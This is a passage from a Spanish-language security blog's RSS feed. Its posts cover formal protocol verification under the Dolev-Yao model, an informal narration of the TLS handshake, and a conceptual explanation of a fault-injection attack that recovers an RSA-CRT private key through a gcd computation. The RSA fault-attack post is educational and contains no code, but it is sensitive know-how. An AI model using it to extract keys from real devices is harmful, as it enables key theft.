<p>La siguiente lista muestra unos cuantos objetivos básicos en sistemas de seguridad:</p>
<ul>
<li><strong>Confidencialidad: </strong>Este objetivo se traduce en que un atacante no pueda obtener información sobre ciertos datos del protocolo. Existen dos nociones, la <em>estandar</em> que simplemente implica que no se puede obtener el contenido de los mensajes, y otra más <em>fuerte</em> ( <em>non-interference</em> ) que implica que no se puede deducir nada sobre los mensajes, ni siquiera si dos mensajes mandados tienen el mismo contenido.</li>
</ul>
<ul>
<li><strong>Autenticación: </strong>Trata de asegurar que el origen del mensaje es realmente quien dice ser ( autenticación de origen). También existe autenticación de usuario, verificando que un usuario es quien dice ser.</li>
</ul>
<ul>
<li><strong>Integridad: </strong>Asegura que los datos no han sido modificado</li>
</ul>
<ul>
<li><strong>No repudio:</strong> Asegura que el origen de los datos no pueda negar que los haya enviado ( no repudio de origen) o el destino no pueda negar que los haya recibido ( no repudio de destino ).</li>
</ul>
<p>Existen otras metas, pero estas dan una idea del tipo de objetivos que puede tener un protocolo de seguridad.  Por supuesto cada protocolo está pensado para una situación concreta y puede que tenga algunos de estos objetivos o no.</p>
<p><strong>Modelo black box ( Dolev-Yao )</strong></p>
<p>Para poder verificar las propiedades de un protocolo formalmente, necesitamos modelar dicho protocolo de alguna forma. En nuestro caso usaremos el <a href="http://en.wikipedia.org/wiki/Dolev-Yao_threat_model">modelo <em>Dolev-Yao</em></a>. Este modelo asume que la criptografía es perfecta y que el atacante puede interceptar, modificar o eliminar cualquier mensaje transmitido. Es decir, el atacante controla completamente el canal de comunicación.</p>
<p>La criptografía idealizada que asume este modelo tiene como consecuencia que sin la clave no se puede obtener ninguna información al respecto del contenido, ni tampoco modificarlo. Por tanto la integridad de los mensajes está asegurada... aunque no su origen. Además, las claves son imposibles de adivinar o extraer del texto cifrado y los números aleatorios y los hashes son perfectos.</p>
<p>Por tanto, mediante este modelo solo podremos encontrar fallos independientes de la criptografía. Fallos del protocolo en sí, en la lógica o en la interpretación de mensajes cifrados con la misma clave pero distintos formatos, etc</p>
<p>De momento lo dejamos aquí, el próximo post como he dicho al principio, narraciones informales, spi-calculus y spi-calculus genérico de ProVerif.</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-introduccion" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/verificacion-de-protocolos-criptograficos-introduccion/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Análisis del protocolo de establecimiento de TLS</title>
		<link>http://www.limited-entropy.com/analisis-del-protocolo-de-establecimiento-de-tls</link>
		<comments>http://www.limited-entropy.com/analisis-del-protocolo-de-establecimiento-de-tls#comments</comments>
		<pubDate>Wed, 14 May 2008 14:53:27 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[Protocols]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[TLS]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=76</guid>
		<description><![CDATA[Como parte de una asignatura hemos tenido que analizar el establecimiento de sesión del protcolo TLS, es decir el TLS Handshake Protocol. En este post voy a dar una visión del funcionamiento de este protocolo haciendo uso de narraciones informales de una versión algo simplificada del protocolo. Supondremos que tenemos dos partes implicadas en el [...]]]></description>
			<content:encoded><![CDATA[<p>Como parte de una asignatura hemos tenido que analizar el establecimiento de sesión del protcolo TLS, es decir el <em>TLS Handshake Protocol</em>. En este post voy a dar una visión del funcionamiento de este protocolo haciendo uso de narraciones informales de una versión algo simplificada del protocolo.</p>
<p>Supondremos que tenemos dos partes implicadas en el protocolo, A y B (de <em>Alice </em>y <em>Bob</em> ), y una autoridad de certificación CA, cuya clave pública es conocida bajo Kca.  Con esto, el establecimiento de una sesión TLS mediante la cual se negocia una clave vendría a ser algo como:</p>
<blockquote><p>A -&gt; B: A, Na, emptyId<br />
B -&gt; A: Nb, Sid<br />
B -&gt; A: {|B, KB |}Kca^-1<br />
A -&gt; B*: {|A, KA |}Kca^-1<br />
A generates a random PMS (Pre Master Secret)<br />
A begins ClientAuth(A, PMS)*<br />
A -&gt; B: {|PMS|}Kb<br />
B begins ServerAuth(B, PMS)<br />
A -&gt; B*: {|#(Nb, B, PMS)|}Ka^-1<br />
B ends ClientAuth(A, PMS)*<br />
A and B generate:<br />
M = PRF(PMS, Na, Nb), finished = #(M, Sid, Na, Nb, A, B).<br />
A -&gt; B: {finished}ClientK(Na,Nb,M)<br />
B -&gt; A: {finished}ServerK(Na,Nb,M)<br />
A ends ServerAuth(B, PMS)</p></blockquote>
<p>Donde {|m|}k significa cifrar el mensaje m con la clave k mediante criptografía asimétrica. Por tanto, cuando usamos kb estamos cifrando, mientras que si usamos kb^-1 estamos usando la clave privada y por tanto firmando. Además, #(m) significa un hash criptográfico del mensaje m, y {m}k significa cifrar m mediante la clave simétrica k.</p>
<p>Como se puede observar, el cliente inicia la sesión enviando un <em>nonce</em> y un identificador de sesión vacío. Un <em>nonce</em> es un número aleatorio con el objetivo de garantizar la frescura de la sesión y de la clave generada por ésta. Además, aunque lo he obviado aquí, se envían preferencias de cifrado con las opciones que soporta el cliente para el cifrado asimétrico, simétrico y el hashing.</p>
<p>El servidor responde con un nuevo <em>nonce</em> y un nuevo identificador de sesión. Además también añade sus preferencias criptográficas, que son seleccionadas en base a las del cliente y determinan los algoritmos usados en la sesión.  Como ya he dicho, se ha obviado y asumismo que están de acuerdo (o que solo existe una posible opción).</p>
<p>Seguidamente el servidor manda su certificado ( es decir, su identidad y clave pública firmadas por la autoridad de certificación), y el cliente opcionalmente el suyo (el * significa opcional). Después el cliente envía PMS cifrado con la clave pública del servidor; el <em>pre master secret</em> (PMS), que es una cadena aleatoria de 48 bits, se supone secreto y compartido entre ambas partes, y será la base para generar la nueva clave de sesión.</p>
<p>Tras esto, si el cliente mandó su certificado (si se requería autenticación del cliente) se manda un hash de algunos elementos recibidos firmados con su clave privada, para que el servidor pueda verificar su identidad.</p>
<p>Seguidamente, ambas partes crean un nuevo <em>Master secret</em>, M, con una función pseudoaleatoria en base a los <em>nonces</em> y el <em>PMS</em>. Además, crean <em>finished</em> como un hash de todos los mensajes anteriores e intercambian el valor de <em>finished</em> mediante las nuevas claves para ver que ambos han llegado al mismo resultado.</p>
<p>Como se puede ver, se utilizan dos claves distintas para servidor y cliente. Además se generan dos claves para usarlas en códigos de autenticación de mensajes que no se muestran aquí ya que no se han usado.  Todas las claves se generan en base al <em>PMS </em>y los <em>nonces</em>. De esta forma, todas las partes pueden influenciar de la misma manera la clave, y una sola parte no es capaz de predeterminar una clave concreta.</p>
<p>Los <em>begin </em>y <em>ends</em> son lo que llamamos <em>aserciones de correspondencia</em> (traducido on-the-fly de <em>correspondence assertions</em> <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_lol.gif' alt=':lol:' class='wp-smiley' />  ).  Sirven para especificar objetivos de autenticación al analizar el protocolo, y se debe probar que para que ocurra la finalización del evento ( <em>end xxx(a,b,c) </em>) debe haber ocurrido antes un <em>begin xxx(a,b,c)</em>. De esta forma, cuando el servidor hace "<em>B begins ServerAuth(B, PMS)</em>", se inicia una sesión de autenticación del servidor ante el cliente. Cuando el cliente puede asumir que está hablando con el servidor <em>B</em>, entonces puede hacer el <em>end</em> correspondiente. Si se consigue que ocurra un <em>end</em> antes que su correspondiente <em>start</em> significa que de alguna forma un atacante ha hecho que el cliente asuma que está hablando con el servidor de confianza mientras que éste no ha iniciado la sesión.</p>
<p>Por último, el protocolo permite resumir una sesión simplemente reusando un identificador de sesión en el primer mensaje en lugar de mandar el identificador nulo. En este caso, la narración queda así</p>
<blockquote><p>A -&gt; B: A, Na, Sid<br />
B -&gt; A: Nb, Sid<br />
A and B generate: PMS is looked up in a database<br />
M = PRF(PMS, Na, Nb), finished = #(M, Sid, Na, Nb, A, B).<br />
A -&gt; B: {finished}ClientK(Na,Nb,M)<br />
B -&gt; A: {finished}ServerK(Na,Nb,M)</p></blockquote>
<p>Como se puede ver, lo único que se obtiene de la sesión anterior es el <em>PMS</em>, mientras que <em>M </em>es generado de nuevo con los nuevos <em>nonces</em>. De esta forma, se crean nuevas claves que serán presumiblemente seguras incluso si las anteriores han podido ser obtenidas, siempre que <em>PMS</em> haya permanecido secreto.</p>
<p>Esto es todo de momento, a ver si puedo poner nuestro modelo de ProVerif de este protocolo para que veáis más o menos cómo funciona... pero primero esperaré a tener la corrección del profesor <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .  Si algo no está bien explicado o no queda claro de este post, no dudéis en decirlo en los comentarios <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/analisis-del-protocolo-de-establecimiento-de-tls" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/analisis-del-protocolo-de-establecimiento-de-tls/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Fault injection: Ataque a RSA-CRT</title>
		<link>http://www.limited-entropy.com/fault-injection-ataque-a-rsa-crt</link>
		<comments>http://www.limited-entropy.com/fault-injection-ataque-a-rsa-crt#comments</comments>
		<pubDate>Sat, 10 May 2008 17:06:06 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>
		<category><![CDATA[smart cards]]></category>
		<category><![CDATA[Fault injection]]></category>
		<category><![CDATA[RSA-CRT]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/?p=75</guid>
		<description><![CDATA[Después de mucho tiempo en el letargo, volvemos a la carga con un ejemplo de inyección de fallos en el algoritmo RSA empleando el Teorema Chino del Resto ( Chinese Remainder Theorem ). Este teorema permite que si tenemos un par de ecuaciones tal que Con p y q primos, se pueda calcular x ( [...]]]></description>
			<content:encoded><![CDATA[<p>Después de mucho tiempo en el letargo, volvemos a la carga con un ejemplo de <em>inyección de fallos</em> en el algoritmo RSA empleando el Teorema Chino del Resto ( Chinese Remainder Theorem ). Este teorema permite que si tenemos un par de ecuaciones tal que</p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=x%20%5Cequiv%20x_p%20%5Cpmod%7Bp%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x \equiv x_p \pmod{p}' title='x \equiv x_p \pmod{p}' class='latex' /></p>
<p style="text-align: center;"><img src='http://s.wordpress.com/latex.php?latex=x%20%5Cequiv%20x_q%20%5Cpmod%7Bq%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='x \equiv x_q \pmod{q}' title='x \equiv x_q \pmod{q}' class='latex' /></p>
<p>Con p y q primos, se pueda calcular x ( mod p·q ) a partir de ellos y dos resultados auxiliares.</p>
<p>Por ello, el algoritmo RSA se puede dividir de una potencia modular con un módulo enorme a dos operaciones modulares de módulos de tamaño aproximadamente la mitad del primero.  Con esto se consigue una mejora de rendimiento, lo cual es fundamental en aplicaciones con recursos limitados como <a href="http://www.limited-entropy.com/cat/seguridad/smart-cards">smart cards</a>. Además, los resultados auxuliares pueden ser precalculados, con lo cual se pueden cargar en la tarjeta al mismo tiempo que la clave y reducir la carga.</p>
<p>Sin embargo, en estos entornos es posible inyectar fallos tal y como expliqué en <a href="http://www.limited-entropy.com/smart-cards-ataques-de-inyeccion-de-fallos">esta entrada</a>. ¿Y qué tiene esto que ver con las implementaciones de RSA usando el CRT?  Como vamos a ver, mucho <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><span id="more-75"></span></p>
<p>En primer lugar, supongamos que realizamos una firma mediante RSA-CRT en un dispositivo embebido.  Entonces, el dispositivo calcula <img src='http://s.wordpress.com/latex.php?latex=m%5Ed%20%5Cpmod%7Bn%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m^d \pmod{n}' title='m^d \pmod{n}' class='latex' /> mediante el cálculo de <img src='http://s.wordpress.com/latex.php?latex=c_1%3Dm%5E%7Bd_q%7D%20%5Cpmod%7Bq%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_1=m^{d_q} \pmod{q}' title='c_1=m^{d_q} \pmod{q}' class='latex' /> y <img src='http://s.wordpress.com/latex.php?latex=c_2%3Dm%5E%7Bd_p%7D%20%5Cpmod%7Bp%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_2=m^{d_p} \pmod{p} ' title='c_2=m^{d_p} \pmod{p} ' class='latex' /> , y realiza la combinación apropiada para obtener <img src='http://s.wordpress.com/latex.php?latex=m%5Ed%20%5Cpmod%7Bn%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='m^d \pmod{n}' title='m^d \pmod{n}' class='latex' />. Esto se hace mediante la fórmula <img src='http://s.wordpress.com/latex.php?latex=c%20%3D%20m%5Ed%20%3D%20a%20%5Ccdot%20c_1%20%2B%20b%20%5Ccdot%20c_2%20%5Cpmod%7Bn%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c = m^d = a \cdot c_1 + b \cdot c_2 \pmod{n} ' title='c = m^d = a \cdot c_1 + b \cdot c_2 \pmod{n} ' class='latex' /> , donde a y b son los resultados antes mencionados que se calculan mediante las siguientes fórmulas:</p>
<p>a= 0 (mod p), a=1 (mod q)</p>
<p>b=1 (mod p), b=0 (mod q)</p>
<p>Así pues, supongamos que ahora realizamos un ataque mediante <em>glitching</em> e introducimos un fallo en el cálculo de <img src='http://s.wordpress.com/latex.php?latex=c_2&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c_2' title='c_2' class='latex' />, de forma que ya no cumple <img src='http://s.wordpress.com/latex.php?latex=c2%5E%7B%5Cprime%7D%20%3Dm%5Ed_p%20%5Cpmod%7Bp%7D&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c2^{\prime} =m^d_p \pmod{p}' title='c2^{\prime} =m^d_p \pmod{p}' class='latex' />. Entonces, obviamente el resultado es incorrecto, pero... ¿podemos aprovecharlo?</p>
<p>Poniendo todas las ecuaciones que tenemos juntas, vemos que la diferencia entre el valor correcto c, y el valor en el que hemos inducido nuestro fallo, c', cumple lo siguiente:</p>
<img src='http://s.wordpress.com/latex.php?latex=c-c%5E%7B%5Cprime%7D%20%3D%20a%20%5Ccdot%20c_1%20-%20a%20%5Ccdot%20c_1%5E%7B%5Cprime%7D%20%20%3D%200%20%5Cpmod%7Bq%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c-c^{\prime} = a \cdot c_1 - a \cdot c_1^{\prime}  = 0 \pmod{q} ' title='c-c^{\prime} = a \cdot c_1 - a \cdot c_1^{\prime}  = 0 \pmod{q} ' class='latex' />
<img src='http://s.wordpress.com/latex.php?latex=c-c%5E%7B%5Cprime%7D%20%3D%20b%5Ccdot%20c_2%20-%20b%5Ccdot%20c_2%5E%7B%5Cprime%7D%20%3D%20b%5Ccdot%20%28c2-c2%5E%7B%5Cprime%7D%29%20%5Cneq%200%20%5Cpmod%7Bp%7D%20&#038;bg=ffffff&#038;fg=000000&#038;s=0' alt='c-c^{\prime} = b\cdot c_2 - b\cdot c_2^{\prime} = b\cdot (c2-c2^{\prime}) \neq 0 \pmod{p} ' title='c-c^{\prime} = b\cdot c_2 - b\cdot c_2^{\prime} = b\cdot (c2-c2^{\prime}) \neq 0 \pmod{p} ' class='latex' />
<p>Por tanto, si calculamos el máximo común divisor de c-c' y n=p·q, este caso nos daría el valor de q ya que es el único factor común entre ambos, pues c-c' es múltiplo de q pero no de p. Este cálculo se puede hacer de forma eficiente mediante el <a href="http://es.wikipedia.org/wiki/Algoritmo_de_Euclides">algoritmo de Euclides</a>.</p>
<p>Así pues, mediante un poco de matemáticas y una inyección de un fallo en un resultado resulta muy sencillo obtener la clave RSA. Esto deja clara la necesidad de proteger los dispositivos embebidos ante este tipo de ataques.</p>
<p>Este ejemplo ha sido sacado de las notas de<a href="http://www.win.tue.nl/~henkvt/"> Henk Van Tilburg</a> para <em>Cryptography 1</em> .</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/fault-injection-ataque-a-rsa-crt" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/fault-injection-ataque-a-rsa-crt/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Grand opening EiPSI: Bruce Schneier y Whitfield Diffie en Eindhoven</title>
		<link>http://www.limited-entropy.com/grand-opening-eipsi-bruce-schneier-y-whitfield-diffie-en-eindhoven</link>
		<comments>http://www.limited-entropy.com/grand-opening-eipsi-bruce-schneier-y-whitfield-diffie-en-eindhoven#comments</comments>
		<pubDate>Fri, 11 Apr 2008 19:48:55 +0000</pubDate>
		<dc:creator>Eloi Sanfèlix</dc:creator>
				<category><![CDATA[Cryptography]]></category>
		<category><![CDATA[Seguridad]]></category>

		<guid isPermaLink="false">http://www.limited-entropy.com/grand-opening-eipsi-bruce-schneier-y-whitfield-diffie-en-eindhoven</guid>
		<description><![CDATA[Los próximos días 21 y 22 de abril se inaugura el nuevo grupo de investigación de la TUe sobre seguridad de la información y criptografía, llamado EiPSI. Para celebrarlo, se ha organizado un evento con charlas bastante interesantes sobre criptografía en la universidad, en las que estarán como reza el título Bruce Schneier (autor del [...]]]></description>
			<content:encoded><![CDATA[<p>Los próximos días 21 y 22 de abril se inaugura el nuevo grupo de investigación de la TUe sobre seguridad de la información y criptografía, llamado <a href="http://www.win.tue.nl/eipsi/">EiPSI</a>. Para celebrarlo, se ha organizado un evento con charlas bastante interesantes sobre criptografía en la universidad, en las que estarán como reza el título <a href="http://www.schneier.com/blog/">Bruce Schneier</a> (autor del famoso <a href="http://www.schneier.com/book-applied.html">Applied Cryptography</a> y de uno de los algoritmos propuestos para el estandar AES, Twofish ) y Whitfield Diffie, uno de los autores del famoso <a href="http://en.wikipedia.org/wiki/Diffie-Hellman">intercambio de claves Diffie-Hellman</a> entre muchos otros.</p>
<p>Yo estaré allí el lunes y si me dejan en la empresa el martes también. Había que registrarse antes de este miércoles, pero como no me lee nadie que esté por aquí pues creo que tampoco pasa mucho por avisar tan tarde.</p>
<p>Se puede ver el programa <a href="http://www.win.tue.nl/eipsi/timeschedule.html">aquí</a>. Ya daré mis impresiones cuando llegue el momento <img src='http://www.limited-entropy.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> .</p>
<div id="flaresmith" class="feedflare"><script src="http://feeds.feedburner.com/~s/LimitedEntropyDotCom?i=http://www.limited-entropy.com/grand-opening-eipsi-bruce-schneier-y-whitfield-diffie-en-eindhoven" type="text/javascript" charset="utf-8"></script></div>]]></content:encoded>
			<wfw:commentRss>http://www.limited-entropy.com/grand-opening-eipsi-bruce-schneier-y-whitfield-diffie-en-eindhoven/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

